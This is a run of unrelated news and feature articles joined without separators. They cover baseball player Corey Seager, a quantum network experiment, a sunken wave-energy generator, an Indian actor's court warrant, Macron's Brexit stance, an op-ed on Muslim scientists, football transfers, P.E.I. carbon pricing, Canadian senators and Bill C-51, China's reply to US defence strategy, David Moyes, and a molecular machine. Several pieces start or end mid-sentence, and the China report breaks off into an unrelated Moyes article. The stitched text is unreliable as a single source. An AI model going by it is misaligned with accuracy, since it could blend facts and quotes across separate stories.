After the Dodgers took him with the 18th overall pick in the 2012 draft, Seager heard the criticism again in the minors. He talked to his father, Jeff, a former college ballplayer who raised three pros -- Kyle, the oldest, is an All-Star third baseman for the Mariners; Justin, the middle one, is a corner infielder in the Seattle system. "We decided I'd try to talk more during games, to be the guy everyone else wanted me to be," Seager says. He yelled, he cheered. Eventually, he stopped. "It was a struggle for me," he says. "I told my dad I was never going to be the talker. I'm not high-energy. I'm not bouncing around. This is my speed. I love this game. You want me to be a leader? I'll do that in the locker room. I'll do that when I'm up to bat or when I'm fielding a ground ball."
He leaned on his brothers in those early days. "After I got drafted, Kyle's biggest advice to me was to make every level my big leagues. Because of him, I never thought about the next step, the next movement, where I was going to be tomorrow." Struggles toward the end of his first full year of pro ball showed Corey he "couldn't show up on a field and automatically be the best player. That's when I realized I needed to know exactly what I was doing and not rely on just being good." He took extra BP, thinking more about his swing's mechanics. He repeated High-A for part of the 2014 season, hit.352 with 18 home runs in 80 games and cut his strikeout rate by a quarter. "My main goal is that I don't want to be bad," he says. "The accolades and awards are fun, but I'd rather not stink than think about winning an MVP or Rookie of the Year or a Silver Slugger. I just don't want to embarrass myself."
Today, after leaving the batting tunnels and getting ready in the locker room, Seager walks to Field 3 -- a back lot out of sight of the Dodgers fans screaming his name. He strolls across the complex with his bat bag and glove. There's warm-up and fielding practice, then the coaches round up a basket of balls next to the temporary mound set up behind a screen several dozen feet from home plate.
My main goal is that I don’t want to be bad. - Corey Seager
Players mill around the outfield grass while Puig puts on a home run show. Ball after ball crashes into trees over the fence in left; Puig's raspy "Oh my gawd!" echoes across the field. After he finishes, Puig flips his bat high into the air and walks to the dugout. Turner, a mane of red hair flowing down his neck, drives balls into center field. Joc Pederson, his Dodgers hat high and tilted forward on his head, sends a couple over the wall before shattering his bat, the barrel's remains resting at a spot near first base. The other players laugh.
When Seager comes up, he smacks a line drive between first and second, just beyond the infield dirt. He does the same with the next pitch. Anyone who might be watching from behind the chain-link fence could be forgiven for thinking, terrible BP. But then the third pitch goes to that same area between first and second. Then the next. While some of his teammates came here to put on a show, Seager is working base hits off a batting-practice pitcher.
He's in his third big league spring training, but there are still glimmers of the kid inside. After practice at lunch -- mini chicken-bacon-ranch pizza and clam chowder that he washes down with two Mountain Dews -- Seager says he's excited about the sub shop near his place in Arizona. He talks about a great chocolate cake in Oklahoma City and how he got Sandy Koufax's autograph for his dad. He chews a lot of gum during games, exclusively Big League Chew's Outta' Here Original ("the official bubble gum of Ripken Baseball"). He tried Ground Ball Grape once in high school and hit four grounders to the second baseman. "Never again," he says.
Seager tells a story from late in 2015, when the Dodgers were working to maintain an 8½-game lead over the Giants in the NL West. He committed two errors in one inning behind Kershaw and apologized to the pitcher after the game. "I was so scared," Seager says. "He's all, 'Dude, don't worry about it,' and I'm telling him it doesn't happen, it shouldn't happen -- not to him." Then there was the time this past fall, after he won the Rookie of the Year in New York, when he wrapped his plaque in his coat and stuffed it into his backpack before getting on the plane. "I was stopped at airport security because it looked suspicious," he says with a laugh. "I think they thought it was a bomb." When he got to his town home in North Carolina, Seager couldn't decide where to display it. He put it on his bedroom floor.
More From Doubletruck Doubletruck is the home for ESPN storytelling, a place to find great features, investigations and character portraits. Doubletruck home »
After he was invited to Dodgers big league camp in the spring of 2015, Seager talked to his oldest brother. Kyle had simple advice: Stay out of the way. In Arizona, Seager sometimes showed up in the batting cage before 7 a.m., mindful that veteran players were creatures of habit. "You don't want a guy mad at you over something as stupid as hitting when he usually hits," he says. "I walked in the shadows." Jimmy Rollins was the starter at shortstop, by then a 36-year-old who'd won an MVP and a World Series ring with the Phillies. On the field during practices, Seager studied Rollins' every move -- his setup before the pitch, his release of the ball to first base -- and listened whenever Rollins dispensed tips on how to play around the bag, how to get rid of the ball quickly.
Seager committed 13 errors in Triple-A and five more in 21 games at short for the Dodgers that year. The next season, he arrived at spring training ready to throw himself into fielding. "Corey wanted it," Roberts says. "He'd heard the people who said he'd have to come off shortstop someday. When you're a great player, there has to be something that fuels you. For Corey, that was shortstop defense."
Last year he worked every day with Dodgers coach Chris Woodward, who'd also spent time with Kyle in Seattle. Seager improved his arm slot, which made him more consistent on throws to first base. He learned how to take better routes to the ball, to play deeper and use his size to help his range. When he was waiting to hit during a game, he'd watch the opposing shortstop. Between innings these days, he might pull up video and check out his positioning or how he anticipates where the ball will go.
The Dodgers' preparation before games includes a scouting report that lists opposing players' tendencies and where the defense should position itself when a certain guy gets a two-strike fastball low and away, or where to stand with one strike and a breaking ball coming. The advancements in metrics have helped Seager's prepitch movements, which he says has given him confidence he'll be in the right place when a ball's hit -- or at least close enough. "They basically position us to catch the ball 4 feet to our left or right, so we don't have to cover the entire infield," he says. "We like the percentages. Let me get to the 70 percent, and let the others go through. I don't have to go 20 feet to get a ball. That's helped me a lot."
According to FanGraphs' ultimate zone rating, Seager's shortstop defense was borderline elite last year. The Fielding Bible's defensive runs saved metric is less charitable but still lists Seager as average with the glove. However you look at the numbers, he's hardly been a failure at the position. Which, one suspects, offers small respite from the voices of doubt inside his head. He describes his response to making last year's All-Star Game as a "sigh of relief." It reinforced everything he'd done at his position to that point -- the time he'd dedicated to making himself better. "I proved I could do it," he says.
When Corey Seager thinks back to the day he was drafted almost five years ago, there's one thing that sticks in his mind. Among the questions he got from the media that night was whether he was ready to move to third base. "People who never saw me play looked at a paper, saw I was 6-4 and said I needed to move," he says, almost spitting the words -- as if there's something, finally, he's no longer afraid to say: "If someone legit had seen me and then said I couldn't play short, I could accept that. But to so many others, I was moving because of my size. That bothered me, because I'm a shortstop.
"This is who I am."Scientists at the Quantum Dynamics division of the Max Planck Institute of Quantum Optics (MPQ) in Garching, Germany announced Wednesday that they have built the very first, elementary quantum network comprised of a pair of entangled atoms that transmit information to each other via single photons.
That and a couple of bucks will get you a cup of coffee, plus anything from a perfectly secure data exchange system to the massive scaling via distributed processing of the already mind-bogglingly powerful, if theoretical, potential of a standalone quantum computer.
These are indeed heady days for the pioneers of quantum computing, with each news cycle seemingly bringing forth a major breakthrough in a subatomic frontier that appears poised to revolutionize how our calculating machines deliver us everything from satellite mapping to LOLcats.
It's also a daunting time for those of us who have barely just sussed out the mechanics of old-fashioned, silicon-based computer chipsonly to be confronted with this new science of computing, a full understanding of which requires one to be not just an advanced electrical engineer, but a quantum physicist to boot.
All of which is to say that, yes, the bright individuals who are trying to harness the computational power of stuff so small and weird, it can only be described mathematically, are at it again.
Years in the Making
The accomplishment was the result of years of work, according to Scientific Computing. Lead researcher Prof. Gerhard Rempe and his colleagues had to figure out a means of exercising "perfect control" over all the components in their quantum network, which first meant getting the two atoms that make up the network's receptor nodes to somehow stay stationary, because a couple of free-floating atoms wouldn't be able to communicate with the photons relaying information between the two very efficiently.
"This approach to quantum networking is particularly promising because it provides a clear perspective for scalability," Rempe told the journal. His colleague and leader of the experiment, Dr. Stephan Ritter, added, "We were able to prove that the quantum states can be transferred much better than possible with any classical network."
The team was able to fix their atoms in optical cavities, basically a couple of highly reflective mirrors a short distance from each other, by means of fine-tuned laser beams. Why mirrors? Photons entering the cavity bounce around the mirrors "several thousand times," which actually enhances the atom-photon interaction and enables the network node atoms to absorb the photon-based data packets "coherently and with high efficiency," according to the scientists.
The use of optical cavities for a quantum network was proposed by Prof. Ignacio Cirac, an MPQ directory and head of its Theory division.
"In fact, we demonstrate the feasibility of the theoretical approach developed by Prof. Cirac," Ritter said.
After trapping and stabilizing the atoms that would serve as the system's network nodes, the scientists had to get the atoms to emit single photons encoded with information in a controlled way and transfer that information onto a second photon.
Then, to demonstrate an actual networking effect, the team connected two such systems "and quantum information was exchanged between them with high efficiency and fidelity," Scientific Computing reported.
The two systems were connected by a roughly 180-foot-long fiber optic cable and hosted in separate labs about 60 feet apart from each other. So basically, walking down the hall and just telling the guys in the other lab what was on the photon would have been about as effective, but the point of the exercise was to show the network performing as designed and to worry about scaling it out to purposefulness later.
Weird and Weirder Science
Quantum networking is the practical application of experimental quantum cryptography, like the "blind quantum computing" demonstration by another team of researchers at the University of Vienna's Center for Quantum Science and Technology earlier this year, which involved transmitting an algorithm to acomputer, running it, and receiving it back without the computer's operator being able to snoop on those operations.
Like its cousin, quantum computing, quantum networking takes advantage of the fact that subatomic particles of matter can exist in multiple statessuch as "on" and "off" to reference the binary process by which digital computing operatesat the same time.
Again, this is exceedingly difficult stuff to wrap one's head around, but suffice to say that these properties enable the quantum bits, or qubits, that power quantum computers and the single-photon data packets developed for the MPQ team's quantum network to perform their duties much more powerfully and securely than the non-quantum parts used in currently available PC chips and network infrastructure devices.
Of course, all of this is still very much in the realm of conjecture. Quantum computing is still highly theoretical, with demonstrations like the MPQ team's limited to laboratory settings. There are no practical quantum computers,just experimental ones.
For one thing, scientists have yet to actually scale out their quantum computers and quantum networks to the point that they can actually out-perform their digital counterparts. For another, the cost of doing so appears to be, for the time being anyway, prohibitive.
But clearly, a boffin poking around in the subatomic, algorithmic ether can dare to dream.
For more from Damon, follow him on Twitter @dpoeter.
For the top stories in tech, follow us on Twitter at @PCMag.Court proceedings 'delay action' to remove stranded Oceanlinx wave energy generator
Updated
Federal Court proceedings are delaying the removal of a 3,000-tonne wave energy generator that sank off the coast of Carrickalinga, south of Adelaide, more than three years ago, the State Government has said.
This is despite its promises at the time that the structure would be removed from the coastline within a year.
The Oceanlinx structure was being towed from Port Adelaide to Port McDonnell in March 2014 where it would have used oscillating water column technology to generate enough energy to power about 1,000 homes from shallow waters.
Instead it started listing after its airbags were damaged and the unit sank while being towed to shallow water.
Shortly afterwards, Oceanlinx, which previously had a generator sink offshore at Port Kembla in New South Wales after it broke free from its pylons during rough seas in 2010, went into receivership.
An SA Department of Planning, Transport and Infrastructure (DPTI) spokeswoman said the Government had obtained plans from several maritime contractors for the Carrickalinga unit's removal.
"These plans, however, are on hold until finalisation of Federal Court proceedings," she said.
A spokesman for Oceanlinx liquidator and Deloitte Restructuring Services partner Vaughan Strawbridge said the proceedings involved a creditor seeking priority access to funds the liquidator held.
He said court proceedings were not delaying any action to remove the generator and instead related to a creditor, "not the ability of government, or anyone else, to do something about the unit".
He said there were insufficient funds in the company to allow for the "remediation or removal of the wave generator", which meant the liquidator has had to "disclaim all rights to the unit".
"The South Australian Government and anyone else who has an interest in the unit has been put on notice of this," the spokesman said.
"As far as any costs are concerned, the Government will be able to make a claim in the liquidation alongside other creditors."
He said NSW Maritime was dealing with the generator at Port Kembla. The ABC understands it is in the process of being removed.
Local residents frustrated by lack of action
Residents were told by the DPTI in April 2014 it would help receivers remove the $7 million structure within the year.
"Ever since that time, [the] council are regularly asked by residents if we know any more than they do and when it is going to be gone," District Council of Yankalilla chief executive Nigel Morris said.
Many people consider the generator an eyesore and Mr Morris said visitors and ratepayers were eager to "return the coastline to its pristine condition".
"It is frustrating that after this length of time, we don't know what is going to happen to the wave generator and a timetable for when it is going to occur."
An exclusion zone remains set up around the site at Carrickalinga.
The DPTI spokeswoman said the zone would remain in place because the generator "in its current form may pose a safety risk to anyone on or near the unit".
"DEWNR [Environment, Water and Natural Resources department] has visited the site several times. There are no concerns of serious or significant environmental impact," she said.
Yankalilla Deputy mayor Janet Jones said the unit had been there so long it was probably acting as a "marine reef or fish hideaway", with boats unable to get close to it.
"I do tend to think that those who are responsible for it ending up there, really should take the responsibility to remove it," she said.
Topics: alternative-energy, environment, oceans-and-reefs, carrickalinga-5204, adelaide-5000, sa, port-macdonnell-5291
First postedA non-bailable warrant has been issued against Rakhi Sawant for her comments: Reports
Actor Rakhi Sawant is in trouble again for her controversial remarks on sage Valmiki. A court in Ludhiana has issued a non-bailable warrant against the 38-year-old actor. Judicial Magistrate Vishav Gupta issued the warrant against Ms Sawant after she skipped the hearing today. He asked the police commissioner of Ludhiana to ensure that she was presented before the court on July 7.This is the second arrest warrant against Ms Sawant in two months. In April, a warrant was issued after the actor failed to show up in the court on March 9 in a case that accuses her of hurting religious sentiments by making offensive remarks against sage Valmiki, the author of the Ramayana which chronicles the life of Lord Rama.Rakhi Sawant, during the TV show, had drawn a comparison between Valmiki and singer Mika Singh regarding their behavioural transformation from evil to good, which invited a backlash from the Valmiki community.After the first arrest warrant was issued against her, Rakhi Sawant had told news agency IANS: "I think people are forcefully dragging me under bad light to ruin my career. I did not say anything wrong to hurt anyone's sentiment. Even then, I made an apology video and uploaded it online.""I am as fearless as the Rani of Jhansi and I will fight against all those people who are dragging me in controversy," she had said.Ms Sawant is best known for reality TV shows like Bigg Boss and Rakhi Ka Swayamwar. She has also acted in many Bollywood films but it is outrageous comments have often drawn more attention.In 2014, Rakhi Sawant tried her hand at politics and contested the general elections from the Mumbai North West constituency as an Independent candidate.Europhile centrist has described Britain’s decision to leave EU as a ‘crime’, saying he is ‘attached to a strict approach to Brexit’
The current favourite to become president in the French election could spell bad news for the UK government in talks on Brexit should he win.
If Emmanuel Macron succeeds in the second round on 7 May, which he is currently favourite to do, he is likely to drive a hard bargain in Brexit negotiations.
The former economy minister, who resigned to campaign for change, has been an outspoken critic of the UK’s decision to leave the EU.
In his election manifesto he described Brexit as a “crime” that will leave the UK facing “servitude”.
The independent centrist favours a hard Brexit that would leave the UK outside of the single market, and has stressed the importance of “defending the integrity” of the EU’s intertwined freedoms of movement and trade.
Negotiations would undoubtedly be tougher with a President Macron at the table, as he has already warned that there can be no “caveat or waiver” to the EU’s “unbreakable” position of defending its own interests first.
In an interview shortly after announcing his candidacy, he said that British voters’ choice to leave the 28-nation EU must be respected, but that the UK should not be given special treatment.
“I am attached to a strict approach to Brexit: I respect the British vote but the worst thing would be a sort of weak EU vis-a-vis the British,” Macron said in the interview with Bloomberg.
“I don’t want a tailormade approach where the British have the best of two worlds. That will be too big an incentive for others to leave and kill the European idea, which is based on shared responsibilities.”
On his pre-election visit to the UK to meet Theresa May in February, he ruffled feathers with his unambiguous views. Standing outside 10 Downing Street, he said he wanted “banks, talents, researchers, academics” to move across the Channel after Britain leaves the EU – and that his initiatives would include “a series of initiatives to get talented people in research and lots of fields working here to come to France”.
Later at the briefing at Westminster’s Central Hall, Macron quipped: “The best trade agreement for Britain... is called membership of the EU”.
He also suggested that the UK would have to settle for a Canadian-style deal, an outcome that would radically reduce the UK’s market access.ENEMIES of Islamic extremism or the religion’s enemies in general claim that religions, despite their important role, were not aimed at establishing civilizations or states but came as messages for ensuring good for humanity.
According to the late philosopher Ahmed Al-Baghdadi, to whose viewpoint we agree, there is nothing called Islamic civilization, Christian civilization, Jewish civilization, Buddhist civilization or Hindu civilization. There are civilizations connected to Muslim countries, Christian countries, and so on.
Civilizations had nothing to do with religions, as religions did not bring equations. They did not include instructions for establishing and paving roads, crop fields, dams and bridges. Religions did not reveal ways to invent machines or develop defense capabilities. Religions brought forward social and moral values along with many issues that provoke disputes when the principles are accepted by some people but rejected by others. It is not like scientific facts, for instance, you do not find anyone arguing about the multiplication table or ways to construct bridges.
On the other hand, those who oppose this viewpoint claim that Europe was falling into the depths of backwardness when Baghdad, the capital of the Islamic empire, was on the top of civilization and advancement. They also argue that Europe still owes a huge favor to Muslim scientists such as Abu Bakr Al-Razi — who is described as the link between old and modern medicine, the well-known optics expert Ibn Al-Haitham, the Arab scientist Abi Bakr Al-Kandari, the greatest scientist in his age Ibn Sina, the “Father of Modern Philosophy” Ibn Roshd among many others.
However, all those brilliant scientists faced accusations of atheism. Many of them were exposed to torture, displacement and even murder.
Due to his opinion that the world has no beginning, Ibn Al-Haitham was accused of atheism. He also claimed that the mind precedes the holy texts. He was eventually accused of being mad and was forced to stay in his house in Cairo until he died alone and disappointed.
Al-Razi also violated some of the axioms when he insisted that the brain is the only source that leads man to recognize God. He was accused of atheism and paid huge price for his opinions.
As a result of such negative stances taken against those Muslim scientists, you can hardly see any of their names on schools, hospitals or universities. If any of their names were found, it was before the recent “uprising”. If extremists had the authority, they would have changed few of the present names.
Hence, we have reached the height of contradictions in the situations between the boasting of the Islamic civilization and allegations against scientists about following atheism.
It is said that you cannot have your cake and eat it too. Either we must apologize to those scientists, show them respect and consider them as good Muslims in order for them to become a part of the Islamic history, or continue considering them as atheists but then we do not have the right to attribute them to Islam and Muslims.
habibi.enta1@gmail.com
By Ahmed Al-SarrafNapoli look at Deulofeu
By Football Italia staff
Napoli could ask Barcelona to take Gerard Deulofeu on loan in January after his successful stint at Milan.
According to Rai Sport, the Spain international would be open to the switch in order to get more regular playing time.
So far this season, he has two goals and three assists in 16 competitive games for the Blaugrana.
Deulofeu can play on the right or left wing, so would be a suitable alternative to Jose Callejon or Lorenzo Insigne.
The move would only be completed if Emanuele Giaccherini were to find a new club in the January transfer window, as it has become clear he does not fit into Maurizio Sarri’s tactics.
Adam Ounas is another player expected to leave Napoli on loan mid-season.P.E.I.'s carbon pricing plan will lead to increases of nearly 12 cents a litre on gasoline and 14 cents a litre on fuel oil, according to calculations by the province's Climate Change Secretariat.
Those are the maximum increases that would come into effect in 2022, when the minimum price for carbon imposed by the federal government reaches $50 a tonne.
According to the calculations, by that point the province will generate $55 million a year from carbon pricing. That's more than the province currently takes in from alcohol and tobacco taxes combined.
The carbon pricing plan is expected to generate $11 million in annual revenues for the province when it kicks in in January 2018, pushing gas prices up 2.3 cents a litre and heating oil prices 2.7 cents a litre.
Premier Wade MacLauchlan told the Legislative Assembly on Tuesday that the province's carbon pricing plan would be "fiscally neutral," with the revenues split between lowering taxes for Islanders and investing in support for projects to increase energy efficiency.
'People can't afford it'
Opposition MLA Colin LaVie said during question period Tuesday that Islanders can't afford the plan.
"You brought in the HST, now you're putting carbon taxes on top of that," he said. "You reached in one pocket, now you're reaching in the second pocket, premier. People can't afford it."
The premier said energy retrofits would help shield low-income households from the impact of carbon pricing.
"People who have homes that may benefit from a retrofit, insulation, better windows, other ways in which their homes can be improved, perhaps even conversion away from fuel," MacLauchlan said.
He also said the push toward energy efficiency could create jobs, and keep more money in the local economy by diverting some of the $435 million that he said leaves the province to pay for fuel each year.
HST exemption on heating oil will remain
The province is also preparing to unveil its new energy strategy.
Today the premier announced that one recommendation from an earlier draft of the strategy will not be followed: he said the province will not remove the current HST exemption from home heating oil.
He also said the province's carbon pricing plan will not extend to the agriculture and fisheries industries.OTTAWA — Liberal senators are poised to demonstrate their independence from the Liberal party leadership in the House of Commons, by voting en masse against the controversial anti-terrorism bill, C-51.
The Senate Liberals’ leader, James Cowan, told The Huffington Post Canada he hasn’t spoken to Liberal Party Leader Justin Trudeau, who supported the bill in the Commons, but he expects most of the Liberal team in the upper chamber to oppose the bill.
“We don’t whip votes, so everybody is free to make up their own minds,” he said. Cowan hoped the show of independence would allay criticisms that the Senate Liberals are still taking directions from the Trudeau team.
Trudeau kicked all his senators out of the Liberal caucus last year and barred them from organizing for the federal party. Despite the surprise banishment, the 29 senators decided to keep calling themselves Liberals anyway.
Cowan said he has always believed the Senate should be more independent, and he hopes Conservative senators might eventually follow suit.
“I’ve never discussed this bill with Mr. Trudeau. He is entitled to his view, and I am entitled to my view,” the Senate Liberal said. “What I don’t have to do is worry about what effect it is going to have on my election chances.”
Trudeau told a student audience in B.C. earlier this year that he was opposed to some controversial aspects of C-51 and would amend the bill if elected. But he suggested he was voting in favour in order to discourage the Conservatives from making “political hay” of the security issue in an election year.
“This conversation might be different if we weren’t months from an election campaign, but we are,” he said.
Security, public safety and tough-on-crime measures are likely to be part of the next election campaign, Cowan said. Senators, by virtue of being appointed, are free to express their views without political consideration, he said.
“Liberal senators didn’t run in the last election and won’t run in this election, and so we can’t promise to change it, because we are not going to be in government, so that option is not available to us,” Cowan explained.
The Conservatives’ anti-terrorism law goes too far and is too great an invasion of people’s privacy, the Liberal Senate leader said.
Canada is the only five-eyes country that doesn’t have parliamentary oversight of its security and intelligence agencies, Cowan noted. The five-eyes is an intelligence alliance that includes Canada, Australia, New Zealand, the United Kingdom and the United States. “We need that, and we need a better balance between the need for police and security agencies to have appropriate powers … [and] everybody’s rights.”
“This goes just too far. It goes over the top.”
After reading letters from more than 100 people — former prime ministers, former justice ministers, academics and former judges —condemning the bill, Cowan said he asked Senate Conservative leader Claude Carignan what experts or eminent Canadians supported C-51.
“His answer was ‘Stephen Harper.’”
They couldn’t point to anybody else, Cowan said. “The only name that they came up with was his.”
The Senate Liberals plan to introduce amendments but if they fail to pass, many will vote against the bill.
“I won't vote for it without amendments protecting privacy,” B.C. Liberal senator Larry Campbell told HuffPost.
New Brunswick senator Pierrette Ringuette enumerated all the bill’s problems on her fingers and told HuffPost she will vote against it as well. So did Quebec Liberal senator Dennis Dawson.
“I could have arrived at the same conclusion than the Liberals [in the House of Commons] saying that with all its flaws it’s better than nothing,” he said, “but I’ve arrived at the conclusion, that it’s too flawed for us to be honest chamber of second thought and support it.”
The Senate’s former powerful chair of the National Security and Defence Committee, however, Ontario Liberal senator Colin Kenny said he would vote for the bill.
Kenny said he was still concerned about C-51’s lack of sufficient review, having argued in the past that the Security Intelligence Review Committee (SIRC) is not doing its job.
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Like Us On FacebookBEIJING (Reuters) - China’s Ministry of Defence warned the United States on Monday to be “careful in its words and actions” after announcing a defence rethink that stresses responding to China’s rise by shoring up U.S. alliances and bases across Asia.
The Chinese aircraft carrier Varyag is pictured during its second sea trial in the Yellow Sea, south-southeast of the port of Dalian, in this DigitalGlobe photograph released on December 14, 2011. REUTERS/DigitalGlobe
The statement from the ministry spokesman Geng Yansheng was Beijing’s fullest reaction so far to the new U.S. strategy unveiled last week. It echoed the mix of wariness and outward restraint that has marked China’s response to the Obama administration’s “pivot” to Asia since late last year.
“We have noted that the United States issued this guide to its defence strategy, and we will closely observe the impact that U.S. military strategic adjustment has on the Asia-Pacific region and on global security developments,” Geng said in a statement issued on the ministry’s website (www.mod.gov.cn).
“The accusations leveled at China by the U.S. side in this document are totally baseless,” said Geng.
“We hope that the United States will flow with the tide of the era, and deal with China and the Chinese military in an objective and rational way, will be careful in its words and actions, and do more that is beneficial to the development of relations between the two countries and their militaries.”
The new U.S. strategy promises to boost strength in Asia in an attempt to counter China’s growing ability to check U.S. power in the region, even as U.S. forces draw back elsewhere across the globe.
Under the new strategy, the United States will maintain large bases in Japan and South Korea and deploy U.S. Marines, navy ships and aircraft to Australia’s Northern Territory.
The strategy calls for countering potential attempts by China and Iran to block U.S. capabilities in areas like the South China Sea and the Strait of Hormuz.
China has sought to balance voicing its wariness about the U.S. moves with its desire for steady relations with Washington, especially as both sides grapple with domestic politics this year, when President Barack Obama faces a re-election fight and China’s ruling Communist Party undergoes a leadership handover.
So far, Beijing officials have avoided the usual high-pitched assertions that Washington is bent on encircling China, a view widely echoed by popular Chinese newspapers and websites.
GROWING CONCERN
The expanded U.S. military presence in Asia is based on a miscalculation of Beijing’s intent to modernize its military defenses, the Chinese Foreign Ministry said on Monday.
“The accusation targeting China in the document has no basis, and is fundamentally unrealistic,” Foreign Ministry spokesman Liu Weimin said at a regular news conference, in response to a question from state media about whether China poses a threat to U.S. security.
“China adheres to the path of peaceful development, an independent and peaceful foreign policy and a defensive national defence policy,” Liu added.
Still, there is growing concern in the United States and Asia about China’s military developments in recent years.
China has been expanding its naval might, with submarines and a maiden aircraft carrier, and has also increased its missile and surveillance capabilities, extending its offensive reach in the region and unnerving its neighbors.
The disputed ownership of oil-rich reefs and islands in the South China Sea, |
18 points off the top of the table, will have formed their own conclusions.
But one man who really knows him is performance psychologist Michael Finnigan, who worked with the Scot at Preston and Everton, helping him to handle the pressures of management.
As United enter a crucial 10-day period that includes a Manchester derby, the second leg of their Champions League clash with Olympiakos and the visit of old enemy Liverpool on Sunday, Finnigan draws on his knowledge of Moyes to explain what makes him tick and what he thinks club and manager need to do now to show that the former Everton boss was the right man to succeed Sir Alex Ferguson.
Moyes was never going to be an instant success
"I know David Moyes. I have not changed my mind about him one bit. He is absolutely awesome. But he is not the kind of guy you can just drop into a situation and expect him to grasp it all instantly.
Moyes is not the kind of guy you can just drop into a situation and expect him to grasp it all instantly Michael Finnigan Performance psychologist
"You have to give him time to get his arms around it and really understand it. That is who he is. Your due diligence would tell you that.
"I am pretty sure Everton chairman Bill Kenwright would say the first couple of years at Goodison Park were not easy for Moyes because he was getting used to everything.
"If I was advising the people at United who appointed Moyes, I would have said 12 months ago: 'Are we sure we have the right person? Do we really understand why we are appointing this guy? What is the realistic/optimistic/pessimistic assessment of how this is going to go and do we have a plan for each of those situations? Please tell me that, as a board of a multi-billion dollar company, you have thought about all these scenarios and have a plan for each one.'
"If they can't deal with that, don't give him the job. These guys are paid big money to have strategic foresight.
Moyes must stick to his beliefs
This season has been a huge test of Moyes's leadership skills
"This is Manchester United. The amplification of your actions is massive. The reality is that everything you do is going to be scrutinised.
"It is all very well being yourself at Everton, but at Manchester United it is much more difficult.
"You can start thinking about what will happen to the share price if you don't win this game, or that two million people are about to hit Twitter if you lose that one. You can stop being yourself and start doing what you think you should do, rather than doing what you are being paid for.
"I know him well enough to know he will be fine if he just does that. He is good enough to be there and deserves to be there."
Moyes must behave like a leader
"At times like this, you need the leaders to be strong, to stand up and be counted. Moyes must be absolutely clear that, no matter what kinks appear, he is not going to be diverted from his path.
Michael Finnigan - the man who has helped Moyes Performance psychology since 1998
Helped Moyes at Preston and Everton
Also worked with Bolton Wanderers and Wigan Athletic in the run-up to the Latics' 2013 FA Cup triumph
Assisted South African cricket team that beat England in 2004, the England side that regained the Ashes in 2005 and the Indian World Cup-winning team of 2011
Worked closely with golfer Darren Clarke before his victory at the 2011 Open
"These situations become a real test of leadership, character and faith in where you think you are going. You can't be running these big organisations and changing direction every five minutes. People don't respond well to it. People respond well to certainty.
"Leadership has to seep into everything you do - the way you drive into the car park, the way you walk through the restaurant when we are all eating our lunch. It is an understanding that leadership is every action, every word, every behaviour that we see.
"It has to be everything, from the way the kit is laid out, to the way the pitch is prepared, to how we walk through the changing room. It is the same for the team talks and the news conferences.
"You can't put a sticking plaster on the situation. You can't be having negative thoughts but pretend everything is all right. It has to pervade your whole thinking.
"What you and I see has to be a natural outpouring of what is happening on the inside. It is not something tactical, it is something that runs through the whole of your day."
Key men at United must help Moyes
"You have a person adapting to a totally new situation. You could argue it is the highest-profile sporting situation in the world right now.
"There is loads of stuff that former boss Sir Alex Ferguson, former chief executive David Gill, the Glazer family who own the club and current chief executive Ed Woodward can do.
"You are looking at those experienced leaders to help him take control. There are loads of things they can do in terms of conversations, their dealings with the media, the way they behave when they are in the stand, both directly and indirectly, that can send out that message.
"I would do a little reassessment of where we are going to be in three or five years' time. I would make sure that we all clearly understand it, we all see it the same way and we are all agreed upon it.
"I would be having conversations with those people, telling them: 'Every time you are in public anywhere, stick true to that set of behaviours we have designed.'
"The point about these people is that they should be naturally tuned into that anyway. It is not like you are asking a man in the street to suddenly start behaving like a leader. You are asking people who have been there for years, just for a little while, to really tune in and appreciate the importance and subtlety of their behaviour.
"Ferguson has done not giving the journalists any moments to see him in the stand with his head in his hands. I want to see more of that and I want an appreciation from them that there needs to be more of that."
This is no time for negative thoughts
"There is a temptation to say: 'If these next few games don't go well, what will happen?' It is easy to get into that negative spiral.
Man Utd in numbers Three - upcoming consecutive home matches against Liverpool, Olympiakos and Manchester City Four - Home Premier League defeats this season Six - Successive wins against Liverpool at Old Trafford Nine - Points behind fourth-placed Manchester City, having played two games more 11 - Points behind Liverpool from the same number of games 20 - Number of league championships, two more than Liverpool 23 - Years since United finished outside top three £42m - Money Man Utd banked in prize money, TV distribution and gate receipts from Champions League last season
"Instead, you have to say: 'This is where we are going to be at the end of the season and there is no question about it. Then we can plan for next season.'
"If you tell a child not to fall off their bike, they will fall off their bike.
"David has to stay positive about his direction. Things haven't gone as well as he would have liked, but so what? I am not interested in that.
"I am interested in his next match, next decision and his thinking about the next three months. He has to stay committed.
"That is an awful lot harder than it sounds when all around you it feels like it is caving in.
"In the book by Sir Clive Woodward, England's rugby union World Cup-winning coach, there is one phrase that is particularly striking: 'Winning doesn't happen in a straight line'.
"You might win 10 games on the bounce, then you lose two. You go above and below the line. As leaders, we pay you to work out the strategy of where we are going and make sure we stick to it."
United must stand by their man
"I don't think they have any other option. They can't change horses in mid-stream because the first one is not doing very well. It would contradict everything the Manchester United brand is supposed to stand for."Chemists have created a molecular machine that can selectively prepare the four diastereoisomers of a chiral product.
‘In biology, molecular machines are used to control how natural products are constructed and the order in which functional groups are manipulated by passing substrates from active site to active site in super-enzyme complexes,’ says David Leigh of the University of Manchester, who led the team behind the research. ‘Some years ago we started wondering, “Why can’t chemists do the same?”’
The new machine features a pH-responsive rotary switch fixed in a rigid platform with two chiral activating sites of opposite handedness. Using acids and bases, the motor can be spun at different stages of the synthesis to ‘select’ between the four possible final products. Leigh calls these sequences ‘programs’ because they function in a similar manner to a computer program.
Two different mechanisms – iminium and enamine activations – determine the final configuration of the products. The absolute configuration is determined by the handedness of the active site during iminium activation. On the other hand, the enamine activation process is responsible for the selection between syn and anti relative configurations. Despite all these different possible pathways, ‘reactions are carried out in one pot, no purification of intermediates is necessary, so that means that they have to be clean’, Leigh explains. He adds that using NMR spectroscopy, ‘we can follow the changing state of the machine during each program’.
The machine allowed Leigh and colleagues to synthesise isomers that could not be prepared using classic organocatalysis methodologies. However, ’It didn’t work exactly as we intended – two of the products were produced by different programs to those we originally envisaged,’ says Leigh. ‘This illustrates the complexity involved in designing molecular machines with multiple integrated parts. Sometimes these parts interact or interfere with each other in ways we don’t anticipate, and of course we learn from that for next time.’
Fraser Stoddart, who shared the chemistry Nobel prize last year for his work on molecular machines, tells Chemistry World that ‘there is little doubt that one of the main and important early applications of artificial molecular machines is going to be in stereoselective synthesis’.
‘The roadmap will be determined only by the imagination and creativity of chemists who enter the field,’ he says.Arsène Wenger has admitted that it would be “too risky” if Arsenal fail to sign a defender before the January transfer window closes.
However, the Arsenal manager conceded that despite making a number of enquiries he has not yet “found anyone” on whom to spend a fund of up to £20 million.
